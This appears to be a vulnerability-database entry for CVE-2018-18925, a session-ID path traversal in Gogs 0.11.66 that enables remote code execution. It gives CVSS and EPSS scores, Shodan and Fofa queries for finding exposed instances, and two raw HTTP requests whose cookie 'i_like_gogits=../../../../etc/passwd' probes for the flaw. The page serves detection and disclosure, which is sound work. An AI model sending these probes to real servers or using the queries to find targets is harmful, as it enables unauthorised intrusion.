🔙 목록으로 돌아가기

CVE-2018-18925: Gogs (Go Git Service) 0.11.66 - Remote Code Execution

TitleGogs (Go Git Service) 0.11.66 - Remote Code Execution
Authorprincechaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
RemediationThis issue will be fixed by updating to the latest version of Gogs.
CVSS Score9.8
EPSS Score0.93737
CVE IDCVE-2018-18925
CWE IDCWE-384
Shodan Querycpe:"cpe:2.3:a:gogs:gogs"http.title:"sign in - gogs"
Fofa Querytitle="sign in - gogs"
Tags cve cve2018 gogs lfi rce vulhub vuln

🔍 Vulnerability Description

Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a “..” session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10.15, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0
Connection: close
Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18925.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-18925.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A